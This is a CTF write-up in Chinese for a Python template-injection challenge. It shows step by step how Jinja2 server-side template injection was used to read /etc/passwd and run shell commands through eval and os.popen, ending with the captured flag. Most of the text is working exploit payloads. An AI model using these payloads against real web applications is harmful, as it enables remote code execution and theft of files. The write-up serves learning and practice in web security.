攻防世界WEB高手進階之python_template_injection


python模板注入

看了一堆文章,也不是看的很明白,反而把題目做出來了

大概思路如下

簡單探測

http://111.198.29.45:42611/{{7+7}}

返回

 

說明服務器執行了{{}}里面這一段代碼

利用{{ config.items() }}可以查看服務器的配置信息

讀取passwd信息

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

 

 

 執行成功

Python3代碼

執行下面這一段代碼

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍歷基類 找到eval函數
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //導入cmd 執行popen里的命令 read讀出數據
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
 

 列出文件

修改一下命令

ls 改成cat fl4g,就可以讀取flag了

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}  

  {% if b.__class__ == {}.__class__ %}         //遍歷基類 找到eval函數

    {% if 'eval' in b.keys() %}    //找到了

      {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

 

Get flag成功

 

Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

說起來參考了這幾位師傅的文章,鏈接如下

https://blog.csdn.net/iamsongyu/article/details/85861811

https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

https://xz.aliyun.com/t/2908

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM